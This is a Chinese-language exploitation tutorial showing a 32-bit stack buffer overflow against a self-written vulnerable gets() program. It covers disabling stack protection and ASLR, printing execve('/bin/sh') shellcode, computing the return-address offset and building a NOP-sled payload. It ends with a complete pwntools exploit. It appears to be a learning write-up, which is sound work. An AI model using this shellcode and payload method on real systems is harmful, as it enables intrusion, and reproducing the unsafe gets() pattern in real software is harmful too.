在挖掘和利用漏洞的时候,会遇见没有没有system函数的时候,无法执行system("/bin/sh"),此时,需要构造自己的shellcode

0x00 准备工作

随手写一个作为测试使用

#include<stdio.h>
#include<string.h>

int main()
{
	char buf[128];
	gets(buf);
	puts(buf);
	return 0;
}

编译成32位的程序,同时注意关闭栈保护和打开栈的可执行

clang -m32 -fno-stack-protector -z execstack [源文件名] -o [可执行文件名]

clang和gcc都行,我个人喜欢clang所以用clang了,参数说明:

  • -m32:使用32位编译
  • -fno-stack-protector:关闭栈保护
  • -z execstack:启用栈上代码可执行

关闭操作系统的地址空间随机化(ASLR),这是针对栈溢出漏洞被操作系统广泛采用的防御措施。关闭该防御来降低学习复现的难度。需要root执行。

# 注意,下面是临时修改方案,系统重启后会被重置为2
echo 0 > /proc/sys/kernel/randomize_va_space

0x10 构造shell

0x11 分析程序

将上面的源码按照上面的编译命令编译然后运行程序,输入一段较长的字符,查看情况

经典段错误,说明是存在栈溢出的。

根据源码也很容易知道,输入的字符串长度大于128,就会溢出。现在就只需要找到字符串的起始地址和覆盖到返回地址所需要的偏移。

因为编译时使用了-z execstack参数,也就是说可以在栈上执行代码,所以只需要在栈上面构造获取shell的指令,然后更改返回值跳转到执行shellcode,就可以成功获取shell了。

0x12 什么是shellcode

shellcode就是一串可以返回shell的机器指令码,在linux上典型的有:Linux/x86 - execve(/bin/sh) + Polymorphic Shellcode (48 bytes),对应代码为:

char shellcode[] =  "\xeb\x11\x5e\x31\xc9\xb1\x32\x80"
                    "\x6c\x0e\xff\x01\x80\xe9\x01\x75"
                    "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
                    "\x32\xc1\x51\x69\x30\x30\x74\x69"
                    "\x69\x30\x63\x6a\x6f\x8a\xe4\x51"
                    "\x54\x8a\xe2\x9a\xb1\x0c\xce\x81";

shellcode本质就是就是一串机器码,执行后提供shell。

0x13 攻击实现

根据上面的分析,我们需要如下计算步骤:

  1. 找出buf变量地址。我们可以从buf一开始就写入shellcode,也可以填写一段padding后再写入shellcode。记录shellcode填充的位置。
  2. 找出main函数返回地址。
  3. 计算main函数返回地址与buf变量地址2者的偏移量,在填充完shellcode后,再填充差值长度的padding,使得可以覆盖返回地址,并将返回地址指向shellcode所在位置。

先找buf的地址,打开IDA使用远程调试,在gets函数下断点,然后运行到return的位置,此时分析

可以看到三个关键信息:

  • 根据 mov [ebp+var_8c],eax 可以猜测偏移量
  • buf的起始地址为 0xFFFFCFE4
  • 通过堆栈视图得到返回地址为 0xFFFFD06C

计算得到偏移为 0x88(136),再次测试,这次输入140个a(刚好覆盖完返回地址)

验证成功,得到偏移136个字节,开始构造攻击字符串,最后的地址应该为小端序,也就是反着的

buf_addr = 0xFFFFCFE4
offset = 136

shellcode =  b"\xeb\x11\x5e\x31\xc9\xb1\x32\x80"
               "\x6c\x0e\xff\x01\x80\xe9\x01\x75"
               "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
               "\x32\xc1\x51\x69\x30\x30\x74\x69"
               "\x69\x30\x63\x6a\x6f\x8a\xe4\x51"
               "\x54\x8a\xe2\x9a\xb1\x0c\xce\x81";
                    
payload = shellcode + b'a'*(offset-48) + b'\xE4\xCF\xFF\xFF'

再次调试,因为包含了不可读的字符串,所以除了填充的部分,其他部分都需要修改内存

成功了,那么使用pwntools实现一次

出错了,原因分析,这是因为gdb在运行时,会往栈上添加许多进程使用的环境变量,导致栈的地址变低了,但是直接运行时,没有这些环境变量,所以地址会比gdb中查询获得的高。对于这个问题,我们可以NOP链来绕过。

解决办法:使用NOP填充。NOP指令,也称作“空指令”,在x86的CPU中机器码为0x90(144)。NOP不执行操作,但占一个程序步。也就是说当遇到NOP指令的时候,程序不会做任何事,而是继续执行下一条指令。

因此可以改造一下payload,在头部放上一段NOP指令,然后再跟上shellcode,并适当偏移之前的buf起始地址,这样当返回地址指向这段NOP指令中的任意一个地址时,因为NOP空指令的关系,会一直找下去,直到遇到shellcode,这样就大大提高了命中率。对于栈可执行程序而言,这是一种很有效的命中方式。

payload = b'\x90'*40 + shellcode + b'a'*(offset-48-40) + b'\xE4\xCF\xFF\xFF'

成功!

0x14 完整exp

from pwn import *

context.log_level = "debug" #show debug information

p = process('./pwn_test')

buf_addr = 0xFFFFCFE4
offset = 136

shellcode =  b"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\
\x6c\x0e\xff\x01\x80\xe9\x01\x75\
\xf6\xeb\x05\xe8\xea\xff\xff\xff\
\x32\xc1\x51\x69\x30\x30\x74\x69\
\x69\x30\x63\x6a\x6f\x8a\xe4\x51\
\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
                    
payload = b'\x90'*40 + shellcode + b'a'*(offset-48-40) + p32(buf_addr)

p.sendline(payload)
p.interactive()

0x20 总结

没有system时如何自己构造一个shell的:

  1. 先找出偏移量(可以利用cyclic工具)
  2. 输入偏移量+4长度的字符,获得此时buf的起始地址
  3. 构造payload:
payload = NOP*N + shellcode + padding*(偏移量-shellcode长度-NOP长度) + (shellcode地址)

0x21 补充

快速找到偏移的方法:使用pwntools的cyclic方法,先生成一段长度合适的有序字符串

这里直接使用gdb调试即可

返回pwntools,使用 cyclic_find() 语句直接获取偏移